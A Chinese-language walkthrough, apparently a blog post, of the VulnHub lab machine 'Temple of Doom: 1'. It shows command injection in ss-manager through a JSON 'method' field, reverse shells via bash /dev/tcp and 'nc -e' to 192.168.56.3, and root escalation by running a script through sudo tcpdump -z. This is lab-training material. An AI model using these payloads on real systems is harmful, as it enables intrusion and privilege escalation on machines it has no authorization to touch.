VulnHub-Temple of Doom: 1-靶机渗透学习 – 作者:DXR嗯嗯呐

ss-mannagen命令执行漏洞

测试几个提权脚本都不行，去home目录看到了fireman用户

但是没有权限，看看怎么越权获得fireman用户权限，发现此用户启动了ss-manager进程

Ss-manager是一款由ss团队开发的多用户管理面板程序。

找到ss-manager命令执行漏洞 参考

接下来利用此漏洞

看一下存不存在8839端口

直接nc连接

nc -u 127.0.0.1 8839

• -u : UDP模式

配置JSON，执行命令，在tmp创建evil文件

add: {“server_port”:8003, “password”:”test”, “method”:”||touch /tmp/evil||”}

创建成功

使用bash，获得反弹shell

add: {“server_port”:8003, “password”:”test”, “method”:”||bash -i >& /dev/tcp/192.168.56.3/6666 0>&1|”}

在root目录下，但是没有权限

tcpdump命令执行

检查发现fireman具备sudo权限

使用tcpdump，可以用于远程代码执行

echo “nc  -e /bin/bash 192.168.56.3 7777 “> shell.sh

chmod +x shell.sh

sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/shell.sh -Z root

• -i : 指定监听的网络接口
• -w : 直接将包写入文件中，并不分析和打印出来
• -W ：与-C选项一起使用时，这会将创建的文件数量限制为指定的数字，并从头开始覆盖文件，从而创建“旋转”缓冲区。另外，它将命名带有足够前导0的文件以支持最大数量的文件，使它们能够正确排序。与-G选项一起使用时，这将限制创建的旋转转储文件的数量，在达到限制时以状态0退出。如果与-C一起使用，则行为将导致每个时间片的循环文件。
• -G：如果指定，则每rotate_seconds秒旋转使用-w选项指定的转储文件。保存文件将具有由-w指定的名称，该名称 应包含由strftime（3）定义的时间格式。如果没有指定时间格式，则每个新文件都将覆盖前一个。如果与-C选项一起使用，则文件名将采用“ file <count>”的形式。
• -z :  与-C或-G选项一起使用，这将使tcpdump运行“ 命令文件 ”，其中文件是每次旋转后关闭的保存文件。例如，指定-z gzip或-z bzip2将使用gzip或bzip2压缩每个保存文件。
• 请注意，tcpdump将与捕获并行地运行命令，使用最低优先级，这样不会干扰捕获过程。
• 如果你想使用一个本身带有标志或不同参数的命令，你总是可以编写一个shell脚本，将savefile的名字作为唯一的参数，使标志和参数安排并执行你想要的命令。
• -Z : 删除权限（如果是root）并将用户标识更改为用户，将组标识更改为主要用户组。这种行为默认是启用的（-Z tcpdump），可以通过-Z root来禁用。

将nc反弹shell写入sh文件，赋执行权限，通过tcpdump执行反弹shell，获得root权限

获得完整的tty,获得flag

完成！！！

总结：

1、使用nmap发现22、666端口，访问666端口发现cookie不完整，修复获得返回。

2、利用Node.js远程代码执行漏洞，获得nodeadmin用户权限。

3、发现fireman用户执行了ss-manager进程，通过利用ss-manager命令执行漏洞，获得用户权限。

4、发现fireman具备sudo权限，利用tcpdump执行命令，获得root权限。